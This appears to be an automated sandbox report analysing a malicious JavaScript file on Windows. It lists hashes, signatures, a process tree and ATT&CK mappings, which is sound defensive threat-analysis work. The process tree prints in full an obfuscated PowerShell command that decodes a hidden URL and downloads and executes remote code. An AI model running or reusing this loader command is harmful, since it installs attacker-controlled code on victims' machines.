803a13d18e16e65b6e1e1e877a361510c429519ba57e9056e4dde7761353e05d

Analysis

max time kernel
93s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:45

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General

Target

87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406.js
Size

210KB
MD5

014b6025e379ba809d09d326952bb00e
SHA1

02a23d9b538a459d7a300c6de3b708c40d1c515d
SHA256

87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406
SHA512

4238a48e9d458a017e17255597f06d766ae6801dd49630df3bb2c9941978192250062e6a5258be592cfbc7f608e817d62442635cca2e81055c6cba4e11956f74
SSDEEP

1536:nwFfGiumBoE3+mDDkPbCpnjytu0nCqvV9zZK7gs7lyzBoE3+mDDkPbCpnjyj0nCv:noG/Z1n3ZTWEn3ZTWn3ZTMyj

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3328	5032	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	5044	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5044	powershell.exe
5044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5044	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 5044	3328	conhost.exe	85
PID 3328 wrote to memory of 5044	3328	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406.js
1⤵
PID:708

C:\Windows\system32\conhost.exe
conhost --headless powershell $nkitevmdwyxfg='ur' ;new-alias printout c$($nkitevmdwyxfg)l;$rpdjnluegf=(297,308,316,300,302,297,317,316,321,254,316,250,297,245,315,310,311,246,248,245,311,303,311,262,314,260,308,304,309,315,314,249,248);$ojniakft=('bronx','get-cmdlet');$olgprhxduatij=$rpdjnluegf;foreach($vqnhouxlbgfmer in $olgprhxduatij){$trxubjkqpsvde=$vqnhouxlbgfmer;$zntqaib=$zntqaib+[char]($trxubjkqpsvde-199);$saloeyh=$zntqaib; $cskbfhqpm=$saloeyh};$hnqvidtlmkor[2]=$cskbfhqpm;$nojigerkdbahc='rl';$jarlnbvcwg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cskbfhqpm)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $nkitevmdwyxfg='ur' ;new-alias printout c$($nkitevmdwyxfg)l;$rpdjnluegf=(297,308,316,300,302,297,317,316,321,254,316,250,297,245,315,310,311,246,248,245,311,303,311,262,314,260,308,304,309,315,314,249,248);$ojniakft=('bronx','get-cmdlet');$olgprhxduatij=$rpdjnluegf;foreach($vqnhouxlbgfmer in $olgprhxduatij){$trxubjkqpsvde=$vqnhouxlbgfmer;$zntqaib=$zntqaib+[char]($trxubjkqpsvde-199);$saloeyh=$zntqaib; $cskbfhqpm=$saloeyh};$hnqvidtlmkor[2]=$cskbfhqpm;$nojigerkdbahc='rl';$jarlnbvcwg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cskbfhqpm)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udxyrctc.f5v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5044-0-0x00007FFFADC13000-0x00007FFFADC15000-memory.dmp

Filesize
8KB

Download
memory/5044-1-0x0000016079A00000-0x0000016079A22000-memory.dmp

Filesize
136KB

Download
memory/5044-11-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5044-12-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5044-13-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5044-14-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5044-15-0x00007FFFADC13000-0x00007FFFADC15000-memory.dmp

Filesize
8KB

Download
memory/5044-16-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5044-19-0x00007FFFADC10000-0x00007FFFAE6D1000-memory.dmp

Filesize
10.8MB

Download